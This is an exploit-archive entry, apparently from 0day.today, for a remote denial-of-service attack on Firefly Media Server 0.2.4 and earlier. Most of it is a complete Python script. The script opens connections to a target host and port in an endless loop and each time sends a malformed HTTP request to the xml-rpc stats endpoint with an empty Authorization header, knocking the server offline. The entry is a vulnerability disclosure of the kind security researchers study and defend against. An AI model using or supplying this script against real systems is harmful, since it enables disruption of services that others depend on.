Firefly Media Server <= 0.2.4 Remote Denial of Service Exploit

2007-11-02T00:00:00
ID 1337DAY-ID-6463
Type zdt
Reporter nnp
Modified 2007-11-02T00:00:00

Description

Exploit for linux platform in category dos / poc

                                        
                                            ==============================================================
Firefly Media Server <= 0.2.4 Remote Denial of Service Exploit
==============================================================





#!C:\python25\python25.exe

"""
Advisory : [UPH-07-02]
mt-dappd/Firefly media server remote DoS
Discovered by nnp
http://www.unprotectedhex.com
"""

import sys
import socket
import time

if len(sys.argv) != 3:
    sys.exit(-1)

kill_msg = """GET /xml-rpc?method=stats HTTP/1.1\r\n 
Authorization:\r\n\r\n"""

host = sys.argv[1]
port = sys.argv[2]

print '[+] Host : ' + host
print '[+] Port : ' + port

print "[+] Sending "
print kill_msg

ctr = 1
while 1:
    print '[+] Ctr : ' + str(ctr)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, int(port)))
    s.send(kill_msg)
    s.close()
    ctr += 1



#  0day.today [2016-04-20]  #